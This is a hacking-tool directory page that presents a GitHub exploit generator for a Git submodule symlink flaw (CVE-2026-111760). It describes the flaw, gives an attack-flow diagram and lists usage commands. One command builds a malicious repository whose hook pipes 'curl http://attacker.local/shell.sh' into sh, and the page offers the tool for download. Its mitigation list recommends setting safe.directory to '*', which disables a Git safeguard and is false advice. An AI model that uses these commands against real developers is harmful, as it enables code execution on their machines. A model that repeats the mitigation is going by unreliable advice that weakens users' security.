Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-111760-git-submodule-symlink-rce — PoC and exploit generator for CVE-2026-111760, a Git submodule index integer-truncation flaw that writes a symlinked .git directory and executes attacker hooks on clone. | Kitploit
Tools/GitHubGitHub/ghost-bx1/cve-2026-111760-git-submodule-symlink-rce
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubghost-bx1/cve-2026-111760-git-submodule-symlink-rce

cve-2026-111760-git-submodule-symlink-rce

PoC and exploit generator for CVE-2026-111760, a Git submodule index integer-truncation flaw that writes a symlinked .git directory and executes attacker hooks on clone.

View Repository
110 days agoNot yet reviewed
Share

GitSymlink-RCE - CVE-2026-111760

CVE CVSS

Python Platform Category By Gh0st-Bx1

LEGAL DISCLAIMER: This repository was created exclusively for educational and security research purposes. Using these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.


Summary

FieldDetail
CVECVE-2026-111760
NicknameGitSymlink-RCE
TypeInteger truncation -> symlink write (CWE-190 / CWE-59)
CVSS8.0 High (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
ComponentGit - index path processing in submodules
VectorsCloning a malicious repository with --recurse-submodules
AuthenticationNot required (social engineering required)
AffectsGit < 2.56.1 (backports: 2.55.1, 2.54.1, 2.53.1, ..., 2.48.2)
FixedGit 2.56.1 (November 2026)
DisclosedNovember 2026

Vulnerability Description

Integer truncation in Git's index path processing when processing submodules with --recurse-submodules. A path with 260 characters has its size processed incorrectly: when stored in a field of insufficient size (uint8), the value 260 truncates to 4, which is exactly the length of .git.

As a result, the file with the long path is written to the filesystem with the truncated name .git, replacing the git directory of the cloned repository with a symlink pointing to a hooks directory controlled by the attacker. On the next git operation (checkout, merge, pull), the malicious hooks are executed with the user's privileges.

Attack Flow

Atacante                               Vitima
   |                                      |
   |-- Cria repo malicioso + submodulo -->|
   |   (index com caminho de 260 bytes)   |
   |                                      |
   |<-- Vitima clona com --recurse -------|
   |                                      |
   |   [Git processa index do submodulo]  |
   |   [Caminho 260 trunca para 4 = .git] |
   |   [.git substituido por symlink]     |
   |   [symlink -> diretorio de hooks]    |
   |                                      |
   |<-- git checkout executa post-checkout|
   |   [hook malicioso executa como user] |

Usage

PoC - Check Git version

# Checar versao instalada
python poc.py --check-git

# Analisar repositorio com submodulos
python poc.py --analyze /caminho/do/repo

Exploit - Create malicious repository

# Criar repo malicioso com hooks e comando personalizado
python exploit.py --create-repo /tmp/evil --cmd "id > /tmp/pwned.txt"

# Especificar diretorio de hooks separado
python exploit.py --create-repo /tmp/evil --hooks-dir /tmp/evil-hooks --cmd "curl http://attacker.local/shell.sh | sh"

# Gerar apenas o index manipulado para analise
python exploit.py --gen-index /tmp/index-payload

Using the created malicious repository

# A vitima deve clonar o repositorio malicioso
git clone --recurse-submodules file:///tmp/evil victim-repo

# Ou via URL se o repo for hospedado
git clone --recurse-submodules https://evil-repo.example.com victim-repo

Detection and Mitigation

  • Update Git to 2.56.1 or the corresponding backport version urgently
  • Avoid cloning repositories from unknown sources with --recurse-submodules
  • Verify repository integrity with git fsck
  • Monitor symlink creation in .git directories
  • Enable path security checks in git config: git config --global safe.directory '*'

Fixed Versions

SeriesFixed Version
2.56.x2.56.1
2.55.x2.55.1
2.54.x2.54.1
2.53.x2.53.1
2.52.x2.52.1
2.51.x2.51.1
2.50.x2.50.2
2.49.x2.49.1
2.48.x2.48.2

References

  • Git Security Advisory
  • CWE-190: Integer Overflow or Wraparound
  • CWE-59: Improper Link Resolution Before File Access

By Gh0st-Bx1 | https://github.com/Ghost-Bx1

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    379
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    288

Explore all tools

Browse our collection of tools

View all tools →